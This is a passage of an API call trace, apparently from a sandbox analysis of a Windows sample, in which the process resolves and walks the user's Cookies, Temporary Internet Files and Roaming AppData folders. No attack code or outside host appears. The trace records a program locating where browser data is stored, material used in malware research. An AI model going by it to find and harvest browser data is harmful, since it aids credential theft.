out: pbstr=0x460618*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned 1 [0091.833] SHGetFolderPathW (in: hwnd=0x0, csidl=32, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files") returned 0x0 [0091.835] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", cchLength=0x56 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files") returned 0x56 [0091.835] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files", len=0x56 | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files") returned 1 [0091.835] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.835] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0091.835] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0091.835] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="appdata", len=0x7 | out: pbstr=0x470688*="appdata") returned 1 [0091.835] SysReAllocStringLen (in: pbstr=0x470694*=0x0, psz="local", len=0x5 | out: pbstr=0x470694*="local") returned 1 [0091.836] SysReAllocStringLen (in: pbstr=0x4706a0*=0x0, psz="microsoft", len=0x9 | out: pbstr=0x4706a0*="microsoft") returned 1 [0091.836] SysReAllocStringLen (in: pbstr=0x4706d0*=0x0, psz="windows", len=0x7 | out: pbstr=0x4706d0*="windows") returned 1 [0091.836] SysReAllocStringLen (in: pbstr=0x4706dc*=0x0, psz="temporary internet files", len=0x18 | out: pbstr=0x4706dc*="temporary internet files") returned 1 [0091.836] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0091.836] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0091.836] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="appdata", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatan0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0091.836] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="local", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localtan0js halpmcxz", lpUsedDefaultChar=0x0) returned 5 [0091.836] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoftjs halpmcxz", lpUsedDefaultChar=0x0) returned 9 [0091.837] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowsftjs halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0091.837] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="temporary internet files", cchWideChar=24, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="temporary internet files4õ(", lpUsedDefaultChar=0x0) returned 24 [0091.837] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.837] SysReAllocStringLen (in: pbstr=0x28f868*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f868*="c:\\") returned 1 [0091.837] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0091.837] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75c1d0 [0091.837] FindNextFileW (in: hFindFile=0x75c1d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0091.837] GetLastError () returned 0x12 [0091.837] FindClose (in: hFindFile=0x75c1d0 | out: hFindFile=0x75c1d0) returned 1 [0091.837] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0091.838] SysReAllocStringLen (in: pbstr=0x28f868*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f868*="c:\\Users\\") returned 1 [0091.838] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0091.838] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75c1d0 [0091.838] FindNextFileW (in: hFindFile=0x75c1d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0091.838] GetLastError () returned 0x12 [0091.838] FindClose (in: hFindFile=0x75c1d0 | out: hFindFile=0x75c1d0) returned 1 [0091.838] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0091.838] SysReAllocStringLen (in: pbstr=0x28f868*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f868*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0091.838] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="appdata", len=0x7 | out: pbstr=0x28f584*="appdata") returned 1 [0091.838] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\appdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x75c228 [0091.838] FindNextFileW (in: hFindFile=0x75c228, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0091.838] GetLastError () returned 0x12 [0091.838] FindClose (in: hFindFile=0x75c228 | out: hFindFile=0x75c228) returned 1 [0091.839] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", len=0x25 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 1 [0091.839] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\local", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0x75bf70 [0091.839] FindNextFileW (in: hFindFile=0x75bf70, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 0 [0091.839] GetLastError () returned 0x12 [0091.839] FindClose (in: hFindFile=0x75bf70 | out: hFindFile=0x75bf70) returned 1 [0091.839] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\microsoft", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0x75bdd8 [0091.839] FindNextFileW (in: hFindFile=0x75bdd8, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0091.840] GetLastError () returned 0x12 [0091.840] FindClose (in: hFindFile=0x75bdd8 | out: hFindFile=0x75bdd8) returned 1 [0091.840] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\windows", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x75c3a8 [0091.840] FindNextFileW (in: hFindFile=0x75c3a8, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0091.840] GetLastError () returned 0x12 [0091.840] FindClose (in: hFindFile=0x75c3a8 | out: hFindFile=0x75c3a8) returned 1 [0091.841] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\temporary internet files", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0x75c3a8 [0091.841] FindNextFileW (in: hFindFile=0x75c3a8, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0091.841] GetLastError () returned 0x12 [0091.841] FindClose (in: hFindFile=0x75c3a8 | out: hFindFile=0x75c3a8) returned 1 [0091.842] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\", len=0x57 | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\") returned 1 [0091.842] SysReAllocStringLen (in: pbstr=0x28f868*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", len=0x56 | out: pbstr=0x28f868*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files") returned 1 [0091.842] SysReAllocStringLen (in: pbstr=0x28f86c*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", len=0x56 | out: pbstr=0x28f86c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files") returned 1 [0091.843] SysReAllocStringLen (in: pbstr=0x46061c*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\", len=0x57 | out: pbstr=0x46061c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\") returned 1 [0091.843] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0 [0091.844] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchLength=0x2d | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming") returned 0x2d [0091.844] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming", len=0x2d | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming") returned 1 [0091.844] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.844] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0091.844] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0091.844] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="appdata", len=0x7 | out: pbstr=0x470688*="appdata") returned 1 [0091.844] SysReAllocStringLen (in: pbstr=0x470694*=0x0, psz="roaming", len=0x7 | out: pbstr=0x470694*="roaming") returned 1 [0091.844] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0091.844] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0091.845] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="appdata", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatan0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0091.845] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="roaming", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="roamingn0js halpmcxz", lpUsedDefaultChar=0x0) returned 7 [0091.845] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.845] SysReAllocStringLen (in: pbstr=0x28f85c*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f85c*="c:\\") returned 1 [0091.845] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0091.845] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75c850 [0091.845] FindNextFileW (in: hFindFile=0x75c850, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0091.845] GetLastError () returned 0x12 [0091.845] FindClose (in: hFindFile=0x75c850 | out: hFindFile=0x75c850) returned 1 [0091.845] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0091.845] SysReAllocStringLen (in: pbstr=0x28f85c*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f85c*="c:\\Users\\") returned 1 [0091.845] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0091.846] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x75c850 [0091.846] FindNextFileW (in: hFindFile=0x75c850, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0091.846] GetLastError () returned 0x12 [0091.846] FindClose (in: hFindFile=0x75c850 | out: hFindFile=0x75c850) returned 1 [0091.846] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0091.846] SysReAllocStringLen (in: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0091.846] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="appdata", len=0x7 | out: pbstr=0x28f584*="appdata") returned 1 [0091.846] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\appdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0x75bd70 [0091.846] FindNextFileW (in: hFindFile=0x75bd70, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0091.846] GetLastError () returned 0x12 [0091.846] FindClose (in: hFindFile=0x75bd70 | out: hFindFile=0x75bd70) returned 1 [0091.846] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", len=0x25 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 1 [0091.847] SysReAllocStringLen (in: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", len=0x26 | out: pbstr=0x28f85c*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned 1 [0091.847] SysReAllocStringLen (in: pbstr=0x28f584*="appdata", psz="roaming", len=0x7 | out: pbstr=0x28f584*="roaming") returned 1 [0091.847] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\roaming", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa1ada4f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1ada4f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0x75c7f0 [0091.847] FindNextFileW (in: hFindFile=0x75c7f0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa1ada4f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1ada4f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0091.847] GetLastError () returned 0x12 [0091.847] FindClose (in: hFindFile=0x75c7f0 | out: hFindFile=0x75c7f0) returned 1 [0091.847] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0091.847] SysReAllocStringLen (in: 